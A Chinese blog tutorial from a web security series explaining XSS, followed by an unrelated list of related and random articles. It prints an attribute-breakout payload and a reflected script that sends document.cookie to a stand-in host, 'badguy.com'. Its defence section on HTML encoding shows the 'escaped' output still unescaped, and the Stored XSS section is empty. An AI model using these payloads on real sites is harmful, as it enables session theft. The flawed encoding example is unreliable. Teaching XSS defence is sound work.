详解Web应用安全系列(2)注入漏洞之XSS攻击
上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. ,比如获取用户的Cookie,导航到恶意网站,携带木马等。
认识XSS攻击
<input type="text" name="address1" value="value1from">
"/><script>alert(document.cookie)</script><!-
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
因为注释符后面的内容被忽略了,所以上面的代码等价于:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>
此时嵌入的JavaScript代码就会执行,页面会出来一个弹窗,将用户的cookie信息打印出来。
XSS攻击的两种场景
1,DOM-Based XSS
http://victim.com/search.asp?term=apple
可以看到页面接受一个叫term的QueryString参数,search.asp页面代码可能是这样的。
<html>
<title></title>
<body>
Results for <%Request.QueryString("term")%>
...
</body>
</html>
黑客创建了一个网站用来接收盗取来的信息,然后通过注入攻击的脚本到这个请求的url中,然后url可能变成这样。
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
当黑客访问这个url后,攻击脚本就会嵌入到用户的浏览器中,search.asp页面就会变成下面这样子。
<html>
<title></title>
<body>
Results for <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
...
</body>
</html>
看到了吗,XSS攻击脚本成功嵌入到用户的浏览器中了,那么当用户再访问这个页面时,攻击脚本就会将用户的cookie信息发送到他的网站,也就达到盗取用户的信息的目的了。
2,Stored XSS
防范措施
1,对用户的输入进行转义再输出到页面
<html>
<title></title>
<body>
Results for <%Request.QueryString("term")%>
...
</body>
</html>
由于.net已经内置了HTML编码的工具类,可以使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码,优化后:
<html>
<title></title>
<body>
Results for <%HtmlEncode(Request.QueryString("term"))%>
...
</body>
</html>
如果遇到XSS攻击,黑客输入term=,最终经过HTML编码后页面是这样子的:
<html>
<title></title>
<body>
Results for <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
...
</body>
</html>
可以看到,特殊字符都已经过转义了,那么嵌入的Javascript脚本也就无法执行了。
2,对用户的输入进行校验
3,将重要的cookie标记为http only
详解Web应用安全系列(2)注入漏洞之XSS攻击的更多相关文章
- 框架基础学习之--详解web+maven+spring+mybatis+struts框架文件夹作用
详解web+maven+spring+mybatis+struts框架文件夹作用 1.程序名 2.Mybatis,mybatis是数据持久层,就是和对象类有关系的东西 3.存放java文件,xml,p ...
- Web安全系列(三):XSS 攻击进阶(挖掘漏洞)
前言 在前些章节 (web安全系列(一):XSS 攻击基础及原理)以及(Web安全系列(二):XSS 攻击进阶(初探 XSS Payload))中,我详细介绍了 XSS 形成的原理以及 XSS 攻击的 ...
- ps切图抠图详解-web前端(转)
网页设计在技术层面上,第一步是美工做出网页效果图,第二步就是网页前端进行网页切图.网页切图工具常用的有fireworks.PS,这里使用PS进行网页切图. 我们通过设计稿,得到我们想要的产出物(如.p ...
- web安全系列(一):XSS 攻击基础及原理
跨站脚本攻击(XSS)是客户端脚本安全的头号大敌.本文章深入探讨 XSS 攻击原理,下一章(XSS 攻击进阶)将深入讨论 XSS 进阶攻击方式. 本系列将持续更新. XSS 简介 XSS(Cross ...
- Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)
什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...
- Web 安全漏洞之 XSS 攻击
什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 ...
- 详解web容器 - Jetty与Tomcat孰强孰弱
Jetty 基本架构 Jetty目前的是一个比较被看好的 Servlet 引擎,它的架构比较简单,也是一个可扩展性和非常灵活的应用服务器.它有一个基本数据模型,这个数据模型就是 Handler(处理器 ...
- 详解web.xml中元素的加载顺序
一.背景 最近在项目中遇到了启动时出现加载service注解注入失败的问题,后来经过不懈努力发现了是因为web.xml配置文件中的元素加载顺序导致的,那么就抽空研究了以下tomcat在启动时web.x ...
- day08:软件系统的体系结构&Tomcat详解&Web应用&http协议
day08 软件系统体系结构 常见软件系统体系结构B/S.C/S 1.1 C/S C/S结构即客户端/服务器(Client/Server),例如QQ: 需要编写服务器端程序,以及客户端 ...
- Spring详解(三)------DI依赖注入
上一篇博客我们主要讲解了IOC控制反转,也就是说IOC 让程序员不在关注怎么去创建对象,而是关注与对象创建之后的操作,把对象的创建.初始化.销毁等工作交给spring容器来做.那么创建对象的时候,有可 ...
随机推荐
- 学习 Avalonia 框架笔记 如何创建一个全屏置顶的 X11 应用窗口
本文记录我从 Avalonia 框架里面学到如何创建一个全屏置顶的 X11 应用窗口的方法 开始之前,先从 Avalonia 或 CPF 里面拷贝足够的代码,这部分代码可以从本文末尾找到下载方法 设置 ...
- WPF 从 RGB 字符串转纯色颜色画刷的方法
本文告诉大家几个方法用来从 RGB 字符串转纯色的 SolidColorBrush 画刷 在 Windows 下,约定的编程规范里,颜色的 RGB 的字符串表示方法是 #[A]RGB 的格式,一定是 ...
- Postergresql常见操作
Postergresql常见操作 1. 安装部署 略 2. 登录数据库 查看版本 ## 以管理员身份 postgres 登陆,然后通过#psql -U postgres#sudo -i -u post ...
- vue-axios设置公共的请求ip
1.安装axios,网上找方法 2.src->network->request.js并复制: import axios from 'axios' export function reque ...
- Linux中的touch命令
Linux中一个文件有3种时间属性,分别是mtime,ctime,atime: modification time (mtime) 当该文件的『内容数据』变更时,就会升级这个时间!内容数据指的是文件的 ...
- LVS负载均衡(7)-- LVS+keepalived实现高可用
目录 1. LVS+keepalived实现高可用 1.1 实验环境说明 1.2 路由器配置 1.3 WEB服务器nginx配置 1.4 LVS+keepalived配置 1.4.1 keepaliv ...
- 【漏洞分析】HPAY 攻击事件分析
背景 造成本次攻击的原因是关键函数的鉴权不当,使得任意用户可以设置关键的变量值,从而导致攻击的发生. 被攻击合约:https://www.bscscan.com/address/0xe9bc03ef0 ...
- 介绍几种常用的Oracle客户端工具
首发微信公众号:SQL数据库运维 原文链接:https://mp.weixin.qq.com/s?__biz=MzI1NTQyNzg3MQ==&mid=2247485212&idx=1 ...
- Ajax 请求总共有八种 Callback
1)onSuccess 2)onFailure 3)onUninitialized 4)onLoading 5)onLoaded 6)onInteractive 7)onComplete 8)onEx ...
- Splashtop Enterprise提供全面的远程访问和远程支持解决方案
全球领先的远程访问和远程支持解决方案领导者 Splashtop Inc. 发布了全新的 Splashtop Enterprise ,这是一个全面的远程访问和远程支持解决方案,满足企业的IT人员,服 ...